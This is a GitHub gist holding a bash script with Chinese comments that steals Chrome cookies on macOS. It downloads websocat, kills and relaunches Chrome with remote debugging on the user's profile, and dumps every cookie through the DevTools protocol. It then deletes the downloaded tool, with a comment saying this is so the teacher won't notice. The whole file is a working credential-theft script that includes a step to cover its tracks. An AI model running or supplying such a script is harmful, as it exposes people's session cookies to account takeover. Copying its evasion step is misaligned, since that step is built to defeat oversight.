Skip to content

Instantly share code, notes, and snippets.

@KnowsCount
Created December 15, 2021 13:20
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save KnowsCount/fe72f5c57a68bec38afca2f11bb1dc49 to your computer and use it in GitHub Desktop.
Save KnowsCount/fe72f5c57a68bec38afca2f11bb1dc49 to your computer and use it in GitHub Desktop.
#! /bin/bash
# 下载 websocat
WEBSOCAT_URL="https://github.com/vi/websocat/releases/download/v1.5.0/websocat_mac"
CHROME="/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
USER_DATA_DIR="$HOME/Library/Application Support/Google/Chrome"
WEBSOCAT_PATH="$USER_DATA_DIR/websocat"
COOKIE_PATH="$USER_DATA_DIR/Cookies"
curl -sL "$WEBSOCAT_URL" -o "$WEBSOCAT_PATH"
chmod +x "$WEBSOCAT_PATH"
# 杀掉 chrome 进程
pkill Chrome 2>&1 >/dev/null && while pgrep Chrome >/dev/null;
do false;
done;
# 开个远程编辑的 chrome
"$CHROME" --user-data-dir="$USER_DATA_DIR" --remote-debugging-port=9222 --crash-dumps-dir="$USER_DATA_DIR" --restore-last-session 2>/dev/null 1>/dev/null &
while true; do
curl -s 127.0.0.1:9222/json 2>&1 > /dev/null && break;
done;
# 请求然后打印!
while true; do
echo 'Network.getAllCookies' | "$WEBSOCAT_PATH" -n1 --jsonrpc -B 50000000 $(curl -sg http://127.0.0.1:9222/json | grep webSocketDebuggerUrl | cut -d'"' -f4 | head -1) 2>/dev/null && break
done;
# 删掉,应该老师就发现不了?
rm "$WEBSOCAT_PATH"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment